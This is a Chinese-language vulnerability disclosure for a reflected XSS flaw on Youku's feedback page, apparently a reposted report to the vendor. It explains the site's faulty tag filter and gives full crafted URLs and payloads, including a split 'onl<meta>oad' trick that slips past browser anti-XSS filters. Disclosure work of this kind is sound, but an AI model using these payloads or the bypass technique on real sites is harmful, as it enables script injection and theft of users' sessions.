优酷网主站反射型XSS漏洞不恰当的过滤规则导致浏览器Anti-XSS功能被绕过
看电影看的太卡了,实在受不了就去在线反馈去了,反馈完了又手痒试了试,结果还真有XSS。
你们的过滤规则大概是这样:
如果出现Anchor标签以外的标签就直接将它移除。不过这个移除还有一个大前提就是你们只移除闭合的标签,如果我的URL是这样:
http://www.youku.com/service/feed/subtype/2/?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112%E2%80%9Casd?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112%27%22%3E%3Ca%3E?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112%E2%80%9Casd?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%27%3E%3Csvg/onload=alert%28document.domain%29%2b%27
最后插进去就会变成:
<input type='hidden' name='videoTitle' value=''><svg/onload=alert(document.domain) '' />
不过这个只在Firefox下有效。因为IE和Chrome都有自己的Anti-XSS功能。这里就可以借助你们的过滤器来绕过了。我们构造这样的URL:
http://www.youku.com/service/feed/subtype/2/?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112%E2%80%9Casd?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112%27%22%3E%3Ca%3E?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112%E2%80%9Casd?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%E6%AF%9B%E9%AA%97%20%E7%AC%AC%E4%BA%8C%E5%AD%A3%20112?code=5000&videoID=XNTgyMDI4NTYw&quality=flv&vs=2891.666&vt=%27%3E%3Cstyle/onl%3Cmeta%3Eoad=alert%28/z7y/%29%2b%27
从上面的URL当中可以看到我的payload是:
'><style/onl<meta>oad=alert(/z7y/)%2b'
其中'>的部分用来闭合前面的标签。后面的部分由于会触发过滤器规则,所以选择不去闭合它。最关键的中间的部分。对于Anti-XSS来说'><style/onl<meta>oad=alert(/z7y/)%2b'是无害的,因为这里并没有出现预期的onload。但最后输出时,由于你们的过滤器会过滤所有非Anchor的闭合标签,最终导致这个XSS通杀。
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;